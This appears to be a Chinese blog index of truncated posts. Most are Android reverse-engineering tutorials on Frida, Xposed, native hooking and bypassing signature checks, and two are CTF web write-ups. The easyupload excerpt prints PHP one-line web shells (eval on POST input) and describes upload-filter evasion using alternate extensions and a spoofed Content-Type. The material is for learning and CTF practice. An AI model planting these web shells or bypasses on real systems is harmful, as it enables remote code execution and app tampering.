Android逆向12-RPC
Android逆向12-RPC来自吾爱破解-正己 https://www.52pojie.cn/thread-1701353-1-1.html RPC(Remote Procedure Call Protocol) 是一种远程过程调用协议,允许程序在不同的计算机上请求服务,而无需了解底层网络技术。RPC的主要作用是使不同服务之间的方法调用像本地调用一样便捷 Hook_Libartlibart.so: 在 Android 5.0(Lollipop)及更高版本中,libart.so 是 Android 运行时(ART,Android Runtime)的核心组件,它取代了之前的 Dalvik 虚拟机。可以在 libart.so 里找到 JNI 相关的实现。 PS:在高于安卓10的系统里,so的路径是/apex/com.android.runtime/lib64/libart.so,低于10的则在system/lib64/libart.so 函数名称 参数 描述 返回值 RegisterNatives JNIEnv...
Android逆向11-Frida进阶
Android逆向11-Frida进阶来自吾爱破解-正己 https://www.52pojie.cn/thread-1701353-1-1.html Frida写数据12345678//一般写在app的私有目录里,不然会报错:failed to open file (Permission denied)(实际上就是权限不足)var file_path = "/data/user/0/com.zj.wuaipojie/test.txt";var file_handle = new File(file_path, "wb");if (file_handle && file_handle != null) { file_handle.write(data); //写入数据 file_handle.flush(); //刷新 file_handle.close(); //关闭} Frida_inlineHook与读写汇编什么是inlinehook? Inline...
Android逆向10-Frida_Native
Android逆向10-Frida_Native来自吾爱破解-正己 https://www.52pojie.cn/thread-1701353-1-1.html Process、Module、MemoryProcess 对象代表当前被Hook的进程,能获取进程的信息,枚举模块,枚举范围等 API 含义 Process.id 返回附加目标进程的 PID Process.isDebuggerAttached() 检测当前是否对目标程序已经附加 Process.enumerateModules() 枚举当前加载的模块,返回模块对象的数组 Process.enumerateThreads() 枚举当前所有的线程,返回包含 id, state, context 等属性的对象数组 Module 对象代表一个加载到进程的模块(例如,在 Windows 上的 DLL,或在 Linux/Android 上的 .so...
Android逆向9-Frida入门
Android逆向9-Frida入门来自吾爱破解-正己 https://www.52pojie.cn/thread-1701353-1-1.html Frida简介介绍Frida...
Android逆向8-so层逆向知识
Android逆向8-so层逆向知识来自吾爱破解-正己 https://www.52pojie.cn/thread-1701353-1-1.html down.52pojie.cn so加载流程作用:反调试、脱壳、注入等 函数的基本介绍: 函数名 描述 android_dlopen_ext() 、dlopen()、do_dlopen() 这三个函数主要用于加载库文件。android_dlopen_ext 是系统的一个函数,用于在运行时动态加载共享库。与标准的 dlopen() 函数相比,android_dlopen_ext 提供了更多的参数选项和扩展功能,例如支持命名空间、符号版本等特性。 find_library() find_library() 函数用于查找库,基本的用途是给定一个库的名字,然后查找并返回这个库的路径。 call_constructors() call_constructors()...
Android逆向7-Native逆向
Android逆向7-Native逆向来自吾爱破解-正己 https://www.52pojie.cn/thread-1701353-1-1.html NDK(Native Development...
Android逆向6-XPosed
Android逆向6-XPosed来自吾爱破解-正己 https://www.52pojie.cn/thread-1701353-1-1.html Xposed简介Xposed是一款可以在不修改APK的情况下影响程序运行的框架,基于它可以制作出许多功能强大的模块,且在功能不冲突的情况下同时运作。在这个框架下,我们可以编写并加载自己编写的插件APP,实现对目标apk的注入拦截等。 原理: 用自己实现的app_process替换掉了系统原本提供app_process,加载一个额外的jar包,入口从原来的: com.android.internal.osZygoteInit.main()被替换成了:...
Android逆向5-签名校验&smail
Android逆向5-签名校验&smail来自吾爱破解-正己 https://www.52pojie.cn/thread-1701353-1-1.html 了解APK文件签名 了解APK常见校验及校验对抗方法 了解PM代{过}{滤}理和IO重定向 smali语法之赋值 校验 常见的校验有:签名校验(最常见)、dexcrc校验、apk完整性校验、路径文件校验等 APK签名通过对 Apk 进行签名,开发者可以证明对 Apk 的所有权和控制权,可用于安装和更新其应用。而在 Android 设备上的安装 Apk ,如果是一个没有被签名的 Apk,则会被拒绝安装。在安装 Apk 的时候,软件包管理器也会验证 Apk 是否已经被正确签名,并且通过签名证书和数据摘要验证是否合法没有被篡改。只有确认安全无篡改的情况下,才允许安装在设备上。 简单来说,APK 的签名主要作用有两个: 证明 APK 的所有者。 允许 Android 市场和设备校验 APK 的正确性。 Android 目前支持以下四种应用签名方案: v1 方案:基于 JAR 签名。 v2 方案:APK 签名方案...
攻防世界36-fakebook-CTFWeb
攻防世界36-fakebook-CTFWeb没发现什么,随便join发现blog有过滤,dirsearch扫描一下,发现robots.txt,和flag.php(不能直接看),发现源码泄露,下载得源码: 1234567891011121314151617181920212223242526272829303132333435363738<?phpclass UserInfo{ public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url){ $ch =...
攻防世界35-easyupload-CTFWeb
攻防世界35-easyupload-CTFWeb通过各种上传发现,过滤了php后缀和内容中有php的文件 有这几种方式上传一句话木马 123<script language="php">eval($_POST[1]);</script><?php eval($_POST['cmd']);?><?= eval($_POST['cmd']);?> 那么如果过滤php的话只能用最后一种方式 上传时也要注意Content-Type: text/jpg 上传名称后缀为.phtml .phps .php5...